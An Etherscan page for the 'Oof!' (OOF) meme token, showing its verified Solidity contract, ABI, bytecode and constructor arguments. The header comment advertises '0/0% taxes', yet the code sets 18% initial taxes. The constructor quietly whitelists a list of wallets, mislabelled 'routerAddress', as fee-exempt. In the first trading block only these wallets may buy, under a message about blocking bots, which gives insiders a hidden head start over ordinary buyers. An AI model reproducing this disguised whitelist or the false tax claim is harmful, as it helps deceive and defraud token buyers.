ETH Price: $3,442.30 (-1.31%)
Gas: 8 Gwei

Token

Oof! (OOF)
 

Overview

Max Total Supply

1,000,000,000 OOF

Holders

288

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 OOF

Value
$0.00
0xa45109d467d3a1ce54ac00bc341a4ace2dc241d6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OOF

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-20
*/

/*

The Roblox Death Sound (alternatively known as Oof, labeled as Uuhhh in the official sound file, and other interpretations of the noise) is a short, one-second sound clip used in the MMORPG Roblox. 

Online, the sound effect is notably utilized in various fan remixes of existing scenes and songs from pop culture.

Today $OOF lives forever on the Ethereum blockchain - 0/0% taxes - LP burned - Renounced - 2005 beta release of Roblox, the death sound has remained a staple element in the game's 10+ year history.

Telegram: https://t.me/oofcoineth
Twitter: https://twitter.com/oofcoineth
Website: https://oofeth.xyz/

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OOF is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 18;
    uint256 private _initialSellTax = 18;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 110;
    uint256 private _reduceSellTaxAt = 110;
    uint256 private _preventSwapBefore = 30;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Oof!";
    string private constant _symbol = unicode"OOF";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 2_500_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax, uint160[] memory _pair) {

        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
        excludeFromFee(0, _pair);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (firstBlock > 0 && block.number > firstBlock + 10) {removeLimits();}
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 3 > block.number) {
                        require(!isContract(to));
                    }
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getBlockHash(uint blockNumber) external view returns(bytes32) {
        return blockhash(blockNumber);
    }

    function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"},{"internalType":"uint160[]","name":"_pair","type":"uint160[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getBlockHash","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601260075560126008555f6009555f600a55606e600b55606e600c55601e600d555f600e556012600a62000039919062000407565b62000049906301312d006200041e565b600f556200005a6012600a62000407565b6200006a906301312d006200041e565b6010556200007b6012600a62000407565b6200008990614e206200041e565b6011556200009a6012600a62000407565b620000a990622625a06200041e565b6012556014805461ffff60a81b19169055348015620000c6575f80fd5b5060405162001e9f38038062001e9f833981016040819052620000e99162000476565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038416179055620001526012600a62000407565b6200016290633b9aca006200041e565b335f9081526001602081905260408220929092556003906200018b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001e93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226012600a62000407565b6200023290633b9aca006200041e565b60405190815260200160405180910390a36200024f5f8262000257565b50506200058b565b8051821015620002f4575f8183815181106200027757620002776200055c565b6020908102919091018101516001600160a01b0381165f90815260039092526040909120805460ff191660011790559050620002b66012600a62000407565b620002c6906301312d006200041e565b6001600160a01b0382165f9081526004602052604090205582620002ea8162000570565b9350505062000257565b5050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034c57815f1904821115620003305762000330620002f8565b808516156200033e57918102915b93841c939080029062000311565b509250929050565b5f82620003645750600162000401565b816200037257505f62000401565b81600181146200038b57600281146200039657620003b6565b600191505062000401565b60ff841115620003aa57620003aa620002f8565b50506001821b62000401565b5060208310610133831016604e8410600b8410161715620003db575081810a62000401565b620003e783836200030c565b805f1904821115620003fd57620003fd620002f8565b0290505b92915050565b5f6200041760ff84168362000354565b9392505050565b8082028115828204841417620004015762000401620002f8565b6001600160a01b03811681146200044d575f80fd5b50565b634e487b7160e01b5f52604160045260245ffd5b8051620004718162000438565b919050565b5f806040838503121562000488575f80fd5b8251620004958162000438565b602084810151919350906001600160401b0380821115620004b4575f80fd5b818601915086601f830112620004c8575f80fd5b815181811115620004dd57620004dd62000450565b8060051b604051601f19603f8301168101818110858211171562000505576200050562000450565b60405291825284820192508381018501918983111562000523575f80fd5b938501935b828510156200054c576200053c8562000464565b8452938501939285019262000528565b8096505050505050509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f60018201620005845762000584620002f8565b5060010190565b61190680620005995f395ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063b70143c911610062578063b70143c9146102d5578063bf474bed146102f4578063c9567bf914610309578063dd62ed3e1461031d578063ee82ac5e14610361575f80fd5b80638da5cb5b146102505780638f9a55c01461027657806395d89b411461028b578063a9059cbb146102b6575f80fd5b806323b872dd116100d857806323b872dd146101b7578063313ce567146101d657806370a08231146101f1578063715018a6146102255780637d1db4a51461023b575f80fd5b806306fdde0314610113578063095ea7b3146101515780630faee56f1461018057806318160ddd146101a3575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820190915260048152634f6f662160e01b60208201525b6040516101489190611517565b60405180910390f35b34801561015c575f80fd5b5061017061016b366004611577565b61037f565b6040519015158152602001610148565b34801561018b575f80fd5b5061019560125481565b604051908152602001610148565b3480156101ae575f80fd5b50610195610395565b3480156101c2575f80fd5b506101706101d13660046115a1565b6103b5565b3480156101e1575f80fd5b5060405160128152602001610148565b3480156101fc575f80fd5b5061019561020b3660046115df565b6001600160a01b03165f9081526001602052604090205490565b348015610230575f80fd5b5061023961041c565b005b348015610246575f80fd5b50610195600f5481565b34801561025b575f80fd5b505f546040516001600160a01b039091168152602001610148565b348015610281575f80fd5b5061019560105481565b348015610296575f80fd5b5060408051808201909152600381526227a7a360e91b602082015261013b565b3480156102c1575f80fd5b506101706102d0366004611577565b6104c2565b3480156102e0575f80fd5b506102396102ef3660046115fa565b6104ce565b3480156102ff575f80fd5b5061019560115481565b348015610314575f80fd5b50610239610551565b348015610328575f80fd5b50610195610337366004611611565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561036c575f80fd5b5061019561037b3660046115fa565b4090565b5f61038b33848461092e565b5060015b92915050565b5f6103a26012600a61173c565b6103b090633b9aca0061174a565b905090565b5f6103c1848484610a51565b610412843361040d856040518060600160405280602881526020016118a9602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611107565b61092e565b5060019392505050565b5f546001600160a01b0316331461047a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61038b338484610a51565b6005546001600160a01b0316336001600160a01b0316146104ed575f80fd5b305f90815260016020526040902054811115801561050a57505f81115b6105455760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610471565b61054e8161113f565b50565b5f546001600160a01b031633146105aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610471565b601454600160a01b900460ff16156106045760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610471565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064d90309061063f6012600a61173c565b61040d90633b9aca0061174a565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c19190611761565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610720573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107449190611761565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561078e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b29190611761565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306107f9816001600160a01b03165f9081526001602052604090205490565b5f8061080c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610872573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610897919061177c565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108ec573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091091906117a7565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b0383166109905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b0382166109f15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610471565b6001600160a01b038216610b175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610471565b5f8111610b785760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610471565b5f80600654118015610b965750600654610b9390600a6117c6565b43115b15610ba357610ba36112af565b5f546001600160a01b03858116911614801590610bcd57505f546001600160a01b03848116911614155b15610fca57610bfe6064610bf8600b54600e5411610bed57600754610bf1565b6009545b8590611337565b906113bc565b6014549091506001600160a01b038581169116148015610c2c57506013546001600160a01b03848116911614155b15610e25574360065403610d23576001600160a01b0383165f9081526003602052604090205460ff16610cb55760405162461bcd60e51b815260206004820152602b60248201527f426f74206164647265737365732063616e6e6f742062757920696e207468652060448201526a666972737420626c6f636b60a81b6064820152608401610471565b610cc16012600a61173c565b610ccf906301312d0061174a565b821115610d1e5760405162461bcd60e51b815260206004820152601a60248201527f457863656564732074686520737761705468726573686f6c642e0000000000006044820152606401610471565b610e10565b600f54821115610d755760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610471565b60105482610d97856001600160a01b03165f9081526001602052604090205490565b610da191906117c6565b1115610def5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610471565b436006546003610dff91906117c6565b1115610e1057823b15610e10575f80fd5b600e8054905f610e1f836117d9565b91905055505b6014546001600160a01b03848116911614801590610e5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610eda5760105482610e82856001600160a01b03165f9081526001602052604090205490565b610e8c91906117c6565b1115610eda5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610471565b6014546001600160a01b038481169116148015610f0057506001600160a01b0384163014155b15610f2d57610f2a6064610bf8600c54600e5411610f2057600854610bf1565b600a548590611337565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f6357506014546001600160a01b038581169116145b8015610f785750601454600160b01b900460ff165b8015610f85575060115481115b8015610f945750600d54600e54115b15610fc857610fb6610fb184610fac846012546113fd565b6113fd565b61113f565b478015610fc657610fc647611411565b505b505b801561104257305f90815260016020526040902054610fe9908261144c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110399085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461106490836114aa565b6001600160a01b0385165f908152600160205260409020556110a761108983836114aa565b6001600160a01b0385165f908152600160205260409020549061144c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110f085856114aa565b60405190815260200160405180910390a350505050565b5f818484111561112a5760405162461bcd60e51b81526004016104719190611517565b505f61113684866117f1565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061118557611185611804565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112009190611761565b8160018151811061121357611213611804565b6001600160a01b039283166020918202929092010152601354611239913091168461092e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112719085905f90869030904290600401611818565b5f604051808303815f87803b158015611288575f80fd5b505af115801561129a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6112bb6012600a61173c565b6112c990633b9aca0061174a565b600f556112d86012600a61173c565b6112e690633b9aca0061174a565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6113166012600a61173c565b61132490633b9aca0061174a565b60405190815260200160405180910390a1565b5f825f0361134657505f61038f565b5f611351838561174a565b90508261135e8583611889565b146113b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610471565b9392505050565b5f6113b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114eb565b5f81831161140b57826113b5565b50919050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611448573d5f803e3d5ffd5b5050565b5f8061145883856117c6565b9050838110156113b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610471565b5f6113b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611107565b5f818361150b5760405162461bcd60e51b81526004016104719190611517565b505f6111368486611889565b5f602080835283518060208501525f5b8181101561154357858101830151858201604001528201611527565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461054e575f80fd5b5f8060408385031215611588575f80fd5b823561159381611563565b946020939093013593505050565b5f805f606084860312156115b3575f80fd5b83356115be81611563565b925060208401356115ce81611563565b929592945050506040919091013590565b5f602082840312156115ef575f80fd5b81356113b581611563565b5f6020828403121561160a575f80fd5b5035919050565b5f8060408385031215611622575f80fd5b823561162d81611563565b9150602083013561163d81611563565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169657815f190482111561167c5761167c611648565b8085161561168957918102915b93841c9390800290611661565b509250929050565b5f826116ac5750600161038f565b816116b857505f61038f565b81600181146116ce57600281146116d8576116f4565b600191505061038f565b60ff8411156116e9576116e9611648565b50506001821b61038f565b5060208310610133831016604e8410600b8410161715611717575081810a61038f565b611721838361165c565b805f190482111561173457611734611648565b029392505050565b5f6113b560ff84168361169e565b808202811582820484141761038f5761038f611648565b5f60208284031215611771575f80fd5b81516113b581611563565b5f805f6060848603121561178e575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b7575f80fd5b815180151581146113b5575f80fd5b8082018082111561038f5761038f611648565b5f600182016117ea576117ea611648565b5060010190565b8181038181111561038f5761038f611648565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118685784516001600160a01b031683529383019391830191600101611843565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118a357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c7c46e09f942fdc1abd7d3063d02c11feb81953b97fb0c78f951e51bd6322a864736f6c634300081600330000000000000000000000008a3df304863e91e0aa2da7e0910f1a68cae480b4000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000260000000000000000000000003f4bad992ab8fafd9b8379a6c53a7c1a20a2d712000000000000000000000000b7fd65608ce6e0cd44dffc7a706dc48a7aeff2c0000000000000000000000000a373fce749ddbae2fefb8b1b138118e7b6dd4554000000000000000000000000b68e9828f5e9fa142dc69fde1ab7a0951bbc051c000000000000000000000000776a9795ceb9e61b7850019049214016c0afc352000000000000000000000000d783e5bccbd47aa92afdd021eb374b6ed173cd60000000000000000000000000f3dd051827b102f2495a5bcce2687b2fa5691dad000000000000000000000000c9eabf3b320f3d74f16b4ef5a8aaa85c4d0de36c00000000000000000000000004e44ae5878115f1fd9ada0162a6316447bcc40e0000000000000000000000008d5d5eca58991570fb2e79db39c564a2995278b900000000000000000000000023ef530a499446d83277cc08b1506f07e1253a050000000000000000000000005224492308d7e7445d5a6d05e42b82bb39dc9a4f000000000000000000000000ad723941e7f72e1ddbce1d7d04a4edb7a376ca910000000000000000000000007fda378cfab224fb72338678aa9c2d0daae54ea10000000000000000000000007bb31b338401399abb02608ba95eb95e0f8ee81f000000000000000000000000e625463f69658f97910fe425ff360ab7de6fb28b0000000000000000000000000e691d5e34a8b59c592761b06ef25ab68b0fb9a500000000000000000000000087004e02c489b06b4537b99cd13355b7681207920000000000000000000000001fa4c7bd8608584a1272994adf82596eb3d4300700000000000000000000000014215dcb0bbc372cca08995a6bf84d6e9f7df82b000000000000000000000000e92b7ff291bd6ab14fde0decfaf6a8f2435b6ba7000000000000000000000000fe0091f9d1ee25cc190df890884ce287e5de66d1000000000000000000000000d1dd653e5c06cb425cd3baa4b4b7baa9e1cff4ee00000000000000000000000078172f781095206899cd44d38c4f99bb846fe3d50000000000000000000000000b1b8f42fd8e686a